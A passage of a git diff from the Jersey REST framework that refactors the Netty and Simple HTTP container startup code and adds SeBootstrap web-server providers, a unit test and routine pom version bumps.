+     * @param container     Jersey container.
      * @param sslContext    Netty SSL context (can be null).
      * @param block         when {@code true}, this method will block until the server is stopped. When {@code false}, the
      *                      execution will
@@ -66,25 +66,64 @@
      * @return Netty channel instance.
      * @throws ProcessingException when there is an issue with creating new container.
      */
-    public static Channel createServer(final URI baseUri, final ResourceConfig configuration, SslContext sslContext,
+    public static Channel createServer(final URI baseUri, final NettyHttpContainer container, SslContext sslContext,
                                        final boolean block)
             throws ProcessingException {
 
+        final ServerBootstrap serverBootstrap = createServerBootstrap(baseUri, container, sslContext);
+        return startServer(getPort(baseUri), container, serverBootstrap, block);
+    }
+
+    /**
+     * Create but not start Netty server.
+     *
+     * @param baseUri       base uri.
+     * @param container     Jersey container.
+     * @param sslContext    Netty SSL context (can be null).
+     * @return Netty bootstrap instance.
+     * @throws ProcessingException when there is an issue with creating new container.
+     */
+    static ServerBootstrap createServerBootstrap(final URI baseUri, final NettyHttpContainer container, SslContext sslContext) {
+        final JerseyServerInitializer jerseyServerInitializer =
+                new JerseyServerInitializer(baseUri, sslContext, container, container.getConfiguration());
+        return createServerBootstrap(jerseyServerInitializer);
+    }
+
+    private static ServerBootstrap createServerBootstrap(final JerseyServerInitializer jerseyServerInitializer) {
         // Configure the server.
         final EventLoopGroup bossGroup = new NioEventLoopGroup(1);
         final EventLoopGroup workerGroup = new NioEventLoopGroup();
-        final NettyHttpContainer container = new NettyHttpContainer(configuration);
+
+        ServerBootstrap b = new ServerBootstrap();
+        b.option(ChannelOption.SO_BACKLOG, 1024);
+        b.group(bossGroup, workerGroup)
+                .channel(NioServerSocketChannel.class)
+                .childHandler(jerseyServerInitializer);
+
+        return b;
+    }
+
+    /**
+     * Start Netty server.
+     *
+     * @param port          IP port to listen.
+     * @param container     Jersey container.
+     * @param serverBootstrap Netty server bootstrap (i. e. prepared but unstarted server instance)
+     * @param block         when {@code true}, this method will block until the server is stopped. When {@code false}, the
+     *                      execution will
+     *                      end immediately after the server is started.
+     * @return Netty channel instance.
+     * @throws ProcessingException when there is an issue with creating new container.
+     */
+    static Channel startServer(final int port, final NettyHttpContainer container, final ServerBootstrap serverBootstrap,
+                                       final boolean block)
+            throws ProcessingException {
 
         try {
-            ServerBootstrap b = new ServerBootstrap();
-            b.option(ChannelOption.SO_BACKLOG, 1024);
-            b.group(bossGroup, workerGroup)
-             .channel(NioServerSocketChannel.class)
-             .childHandler(new JerseyServerInitializer(baseUri, sslContext, container, configuration));
+            final EventLoopGroup bossGroup = serverBootstrap.config().group();
+            final EventLoopGroup workerGroup = serverBootstrap.config().childGroup();
 
-            int port = getPort(baseUri);
-
-            Channel ch = b.bind(port).sync().channel();
+            Channel ch = serverBootstrap.bind(port).sync().channel();
 
             ch.closeFuture().addListener(new GenericFutureListener<Future<? super Void>>() {
                 @Override
@@ -112,6 +151,24 @@
      *
      * @param baseUri       base uri.
      * @param configuration Jersey configuration.
+     * @param sslContext    Netty SSL context (can be null).
+     * @param block         when {@code true}, this method will block until the server is stopped. When {@code false}, the
+     *                      execution will
+     *                      end immediately after the server is started.
+     * @return Netty channel instance.
+     * @throws ProcessingException when there is an issue with creating new container.
+     */
+    public static Channel createServer(final URI baseUri, final ResourceConfig configuration, SslContext sslContext,
+                                       final boolean block)
+            throws ProcessingException {
+        return createServer(baseUri, new NettyHttpContainer(configuration), sslContext, block);
+    }
+
+    /**
+     * Create and start Netty server.
+     *
+     * @param baseUri       base uri.
+     * @param configuration Jersey configuration.
      * @param block         when {@code true}, this method will block until the server is stopped. When {@code false}, the
      *                      execution will
      *                      end immediately after the server is started.
@@ -140,39 +197,18 @@
     public static Channel createHttp2Server(final URI baseUri, final ResourceConfig configuration, SslContext sslContext) throws
             ProcessingException {
 
-        final EventLoopGroup bossGroup = new NioEventLoopGroup(1);
-        final EventLoopGroup workerGroup = new NioEventLoopGroup();
         final NettyHttpContainer container = new NettyHttpContainer(configuration);
 
-        try {
-            ServerBootstrap b = new ServerBootstrap();
-            b.option(ChannelOption.SO_BACKLOG, 1024);
-            b.group(bossGroup, workerGroup)
-             .channel(NioServerSocketChannel.class)
-             .childHandler(new JerseyServerInitializer(baseUri, sslContext, container, configuration, true));
+        final JerseyServerInitializer jerseyServerInitializer =
+                new JerseyServerInitializer(baseUri, sslContext, container, configuration, true);
+        ServerBootstrap serverBootstrap = createServerBootstrap(jerseyServerInitializer);
 
-            int port = getPort(baseUri);
+        int port = getPort(baseUri);
 
-            Channel ch = b.bind(port).sync().channel();
-
-            ch.closeFuture().addListener(new GenericFutureListener<Future<? super Void>>() {
-                @Override
-                public void operationComplete(Future<? super Void> future) throws Exception {
-                    container.getApplicationHandler().onShutdown(container);
-
-                    bossGroup.shutdownGracefully();
-                    workerGroup.shutdownGracefully();
-                }
-            });
-
-            return ch;
-
-        } catch (InterruptedException e) {
-            throw new ProcessingException(e);
-        }
+        return startServer(port, container, serverBootstrap, false);
     }
 
-    private static int getPort(URI uri) {
+    static int getPort(URI uri) {
         if (uri.getPort() == -1) {
             if ("http".equalsIgnoreCase(uri.getScheme())) {
                 return 80;
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java
new file mode 100644
index 0000000..7b28779
--- /dev/null
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.httpserver;
+
+import java.net.InetSocketAddress;
+import java.net.URI;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import io.netty.bootstrap.ServerBootstrap;
+import io.netty.channel.Channel;
+import io.netty.handler.ssl.ClientAuth;
+import io.netty.handler.ssl.JdkSslContext;
+
+/**
+ * Jersey {@code Server} implementation based on Netty {@link Channel}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class NettyHttpServer implements WebServer {
+
+    private final NettyHttpContainer container;
+
+    private final ServerBootstrap serverBootstrap;
+
+    private volatile Channel channel;
+
+    private final int port;
+
+    NettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+        this(new NettyHttpContainer(application), configuration);
+    }
+
+    NettyHttpServer(final Class<? extends Application> applicationClass,
+                    final JerseySeBootstrapConfiguration configuration) {
+        this(new NettyHttpContainer(applicationClass), configuration);
+    }
+
+    NettyHttpServer(final NettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+        final SSLContext sslContext = configuration.sslContext();
+        final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+                .sslClientAuthentication();
+
+        final URI uri = configuration.uri(true);
+        this.port = NettyHttpContainerProvider.getPort(uri);
+
+        this.container = container;
+        this.serverBootstrap = NettyHttpContainerProvider.createServerBootstrap(
+                uri,
+                this.container,
+                configuration.isHttps()
+                        ? new JdkSslContext(sslContext, false, nettyClientAuth(sslClientAuthentication))
+                        : null
+        );
+
+        if (configuration.autoStart()) {
+            this.channel = NettyHttpContainerProvider.startServer(this.port, this.container, this.serverBootstrap, false);
+        }
+    }
+
+    private static final ClientAuth nettyClientAuth(
+            final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication) {
+        switch (sslClientAuthentication) {
+        case MANDATORY:
+            return ClientAuth.REQUIRE;
+        case OPTIONAL:
+            return ClientAuth.OPTIONAL;
+        default:
+            return ClientAuth.NONE;
+        }
+    }
+
+    @Override
+    public final NettyHttpContainer container() {
+        return this.container;
+    }
+
+    @Override
+    public final int port() {
+        return this.channel == null ? this.port : ((InetSocketAddress) this.channel.localAddress()).getPort();
+    }
+
+    @Override
+    public final CompletableFuture<Object> start() {
+        return this.channel != null ? CompletableFuture.completedFuture(this.channel)
+                : CompletableFuture.supplyAsync(() -> {
+                    try {
+                        this.channel = NettyHttpContainerProvider.startServer(this.port, this.container,
+                                this.serverBootstrap, false);
+                        return this.channel;
+                    } catch (final Exception e) {
+                        throw new CompletionException(e);
+                    }
+                });
+    }
+
+    @Override
+    public final CompletableFuture<Void> stop() {
+        return this.channel == null ? CompletableFuture.completedFuture(null) : CompletableFuture.supplyAsync(() -> {
+            try {
+                return this.channel.close().get();
+            } catch (final Exception e) {
+                throw new CompletionException(e);
+            }
+        });
+    }
+
+    @Override
+    public final <T> T unwrap(final Class<T> nativeClass) {
+        return nativeClass.cast(this.channel == null ? this.serverBootstrap : this.channel);
+    }
+
+}
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java
new file mode 100644
index 0000000..0749369
--- /dev/null
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.httpserver;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+import io.netty.channel.Channel;
+
+/**
+ * Server provider for servers based on Netty {@link Channel}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class NettyHttpServerProvider implements WebServerProvider {
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+                                                final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(NettyHttpServer.class, type, configuration)
+                ? type.cast(new NettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+                                                final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(NettyHttpServer.class, type, configuration)
+                ? type.cast(new NettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+}
diff --git a/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..61e6e1b
--- /dev/null
+++ b/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.netty.httpserver.NettyHttpServerProvider
\ No newline at end of file
diff --git a/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java b/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java
new file mode 100644
index 0000000..8ea7dd5
--- /dev/null
+++ b/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.httpserver;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+import io.netty.bootstrap.ServerBootstrap;
+import io.netty.channel.Channel;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link NettyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class NettyHttpServerProviderTest {
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServer2() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        shouldProvideServer(ShouldProvideServerApplication.class, resource);
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        final Application application = new ShouldProvideServerApplication();
+        shouldProvideServer(application.getClass(), resource);
+    }
+
+    private void shouldProvideServer(final Object application, final Resource resource)
+            throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new NettyHttpServerProvider();
+        final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+        // when
+        final WebServer webServer = Application.class.isInstance(application)
+                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+        final Object nativeHandle = webServer.unwrap(Object.class);
+        final CompletionStage<?> start = webServer.start();
+        final Object startResult = start.toCompletableFuture().get();
+        final Container container = webServer.container();
+        final int port = webServer.port();
+        final String entity = ClientBuilder.newClient()
+                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+                .get(String.class);
+        final CompletionStage<?> stop = webServer.stop();
+        final Object stopResult = stop.toCompletableFuture().get();
+
+        // then
+        assertThat(webServer, is(instanceOf(NettyHttpServer.class)));
+        assertThat(nativeHandle, is(instanceOf(ServerBootstrap.class)));
+        assertThat(startResult, is(instanceOf(Channel.class)));
+        assertThat(container, is(instanceOf(NettyHttpContainer.class)));
+        assertThat(port, is(greaterThan(0)));
+        assertThat(entity, is(resource.toString()));
+        assertThat(stopResult, is(nullValue()));
+    }
+
+
+    @Path("/")
+    protected static final class Resource {
+        @GET
+        @Override
+        public String toString() {
+            return Resource.class.getName();
+        }
+    }
+
+    protected static class ShouldProvideServerApplication extends Application {
+        @Override
+        public Set<Object> getSingletons() {
+            return Collections.singleton(new Resource());
+        }
+    }
+
+    private static final Logger LOGGER = Logger.getLogger(NettyHttpServerProviderTest.class.getName());
+
+    private static final int DEFAULT_PORT = 0;
+
+    private static final int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
+                }
+                return i;
+            } catch (final NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid non-negative integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+
+        return DEFAULT_PORT;
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new NettyHttpServerProvider();
+        final Application application = new Application();
+        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+        // when
+        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+        // then
+        assertThat(webServer.port(), is(greaterThan(0)));
+    }
+
+    private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+        return (SeBootstrap.Configuration) name -> {
+            switch (name) {
+                case SeBootstrap.Configuration.PROTOCOL:
+                    return "HTTP";
+                case SeBootstrap.Configuration.HOST:
+                    return "localhost";
+                case SeBootstrap.Configuration.PORT:
+                    return port;
+                case SeBootstrap.Configuration.ROOT_PATH:
+                    return "/";
+                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+                    return SSLClientAuthentication.NONE;
+                case SeBootstrap.Configuration.SSL_CONTEXT:
+                    try {
+                        return SSLContext.getDefault();
+                    } catch (final NoSuchAlgorithmException e) {
+                        throw new RuntimeException(e);
+                    }
+                case ServerProperties.WEBSERVER_AUTO_START:
+                    return autoStart;
+                default:
+                    return null;
+            }
+        };
+    }
+
+}
\ No newline at end of file
diff --git a/containers/pom.xml b/containers/pom.xml
index be05caf..4691ad1 100644
--- a/containers/pom.xml
+++ b/containers/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.containers</groupId>
@@ -40,6 +40,7 @@
         <module>jdk-http</module>
         <module>jersey-servlet-core</module>
         <module>jersey-servlet</module>
+        <module>jetty11-http</module>
         <module>jetty-http</module>
         <module>jetty-http2</module>
         <module>jetty-servlet</module>
diff --git a/containers/simple-http/pom.xml b/containers/simple-http/pom.xml
index e21c301..823c85f 100644
--- a/containers/simple-http/pom.xml
+++ b/containers/simple-http/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-simple-http</artifactId>
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
index afd86b5..6298cf3 100644
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
@@ -465,4 +465,15 @@
         this.appHandler = new ApplicationHandler(application, new SimpleBinder());
         this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
     }
+
+    /**
+     * Create a new Simple framework HTTP container.
+     *
+     * @param applicationClass JAX-RS / Jersey application class to be deployed on Simple framework HTTP
+     *                    container.
+     */
+    SimpleContainer(final Class<? extends Application> applicationClass) {
+        this.appHandler = new ApplicationHandler(applicationClass, new SimpleBinder());
+        this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
+    }
 }
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
index 6740c6b..519fe7d 100644
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,19 +19,19 @@
 import java.io.Closeable;
 import java.io.IOException;
 import java.net.InetSocketAddress;
-import java.net.SocketAddress;
 import java.net.URI;
 
-import jakarta.ws.rs.ProcessingException;
-
 import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLEngine;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.ProcessingException;
 
 import org.glassfish.jersey.internal.util.collection.UnsafeValue;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.simple.internal.LocalizationMessages;
-
 import org.simpleframework.http.core.Container;
 import org.simpleframework.http.core.ContainerSocketProcessor;
+import org.simpleframework.transport.Socket;
 import org.simpleframework.transport.SocketProcessor;
 import org.simpleframework.transport.connect.Connection;
 import org.simpleframework.transport.connect.SocketConnection;
@@ -149,7 +149,55 @@
             public SocketProcessor get() throws IOException {
                 return new ContainerSocketProcessor(container);
             }
-        });
+        }, true);
+    }
+
+    /**
+     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
+     * resource and provider classes found by searching the classes referenced in the java classpath.
+     *
+     * @param address   the URI to create the http server. The URI scheme must be equal to {@code https}
+     *                  . The URI user information and host are ignored. If the URI port is not present then
+     *                  port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
+     *                  The URI path, query and fragment components are ignored.
+     * @param context   this is the SSL context used for SSL connections.
+     * @param container the Simple container with ResourceConfig.
+     * @param sslClientAuthentication Secure socket client authentication policy.
+     * @param start whether the server shall listen to connections immediately
+     * @return the closeable connection, with the endpoint started.
+     * @throws ProcessingException      thrown when problems during server creation.
+     * @throws IllegalArgumentException if {@code address} is {@code null}.
+     */
+    public static SimpleServer create(final URI address, final SSLContext context,
+            final SSLClientAuthentication sslClientAuthentication, final SimpleContainer container, final boolean start) {
+        return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() {
+            @Override
+            public SocketProcessor get() throws IOException {
+                return new ContainerSocketProcessor(container) {
+                    @Override
+                    public final void process(final Socket socket) throws IOException {
+                        final SSLEngine sslEngine = socket.getEngine();
+                        if (sslEngine != null) {
+                            switch (sslClientAuthentication) {
+                            case MANDATORY: {
+                                sslEngine.setNeedClientAuth(true);
+                                break;
+                            }
+                            case OPTIONAL: {
+                                sslEngine.setWantClientAuth(true);
+                                break;
+                            }
+                            default: {
+                                sslEngine.setNeedClientAuth(false);
+                                break;
+                            }
+                            }
+                        }
+                        super.process(socket);
+                    }
+                };
+            }
+        }, start);
     }
 
     /**
@@ -201,12 +249,13 @@
             public SocketProcessor get() throws IOException {
                 return new ContainerSocketProcessor(container, count, select);
             }
-        });
+        }, true);
     }
 
     private static SimpleServer _create(final URI address, final SSLContext context,
                                         final SimpleContainer container,
-                                        final UnsafeValue<SocketProcessor, IOException> serverProvider)
+                                        final UnsafeValue<SocketProcessor, IOException> serverProvider,
+                                        final boolean start)
             throws ProcessingException {
         if (address == null) {
             throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
@@ -236,22 +285,26 @@
             final SocketProcessor server = serverProvider.get();
             connection = new SocketConnection(server, analyzer);
 
+            final SimpleServer simpleServer = new SimpleServer() {
+                private InetSocketAddress socketAddr = listen;
 
-            final SocketAddress socketAddr = connection.connect(listen, context);
-            container.onServerStart();
-
-            return new SimpleServer() {
+                @Override
+                public final void start() throws IOException {
+                    this.socketAddr = (InetSocketAddress) connection.connect(listen, context);
+                    container.onServerStart();
+                }
 
                 @Override
                 public void close() throws IOException {
                     container.onServerStop();
                     analyzer.stop();
                     connection.close();
+                    this.socketAddr = listen;
                 }
 
                 @Override
                 public int getPort() {
-                    return ((InetSocketAddress) socketAddr).getPort();
+                    return this.socketAddr.getPort();
                 }
 
                 @Override
@@ -268,6 +321,12 @@
                     }
                 }
             };
+
+            if (start) {
+                simpleServer.start();
+            }
+
+            return simpleServer;
         } catch (final IOException ex) {
             throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), ex);
         }
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
new file mode 100644
index 0000000..1b9ac18
--- /dev/null
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.simple;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Simple framework
+ * {@link SimpleServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class SimpleHttpServer implements WebServer {
+
+    private final SimpleContainer container;
+
+    private final SimpleServer simpleServer;
+
+    SimpleHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+        this(new SimpleContainer(application), configuration);
+    }
+
+    SimpleHttpServer(final Class<?extends Application> applicationClass,
+                     final JerseySeBootstrapConfiguration configuration) {
+        this(new SimpleContainer(applicationClass), configuration);
+    }
+
+    SimpleHttpServer(final SimpleContainer container, final JerseySeBootstrapConfiguration configuration) {
+        this.container = container;
+        this.simpleServer = SimpleContainerFactory.create(
+                configuration.uri(true),
+                configuration.sslContext(),
+                configuration.sslClientAuthentication(),
+                this.container,
+                configuration.autoStart());
+    }
+
+    @Override
+    public final SimpleContainer container() {
+        return this.container;
+    }
+
+    @Override
+    public final int port() {
+        return this.simpleServer.getPort();
+    }
+
+    @Override
+    public final CompletableFuture<Void> start() {
+        return CompletableFuture.runAsync(() -> {
+            try {
+                this.simpleServer.start();
+            } catch (final Exception e) {
+                throw new CompletionException(e);
+            }
+        });
+    }
+
+    @Override
+    public final CompletableFuture<Void> stop() {
+        return CompletableFuture.runAsync(() -> {
+            try {
+                this.simpleServer.close();
+            } catch (final Exception e) {
+                throw new CompletionException(e);
+            }
+        });
+    }
+
+    @Override
+    public final <T> T unwrap(final Class<T> nativeClass) {
+        return nativeClass.cast(this.simpleServer);
+    }
+
+}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
new file mode 100644
index 0000000..33bd6a7
--- /dev/null
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
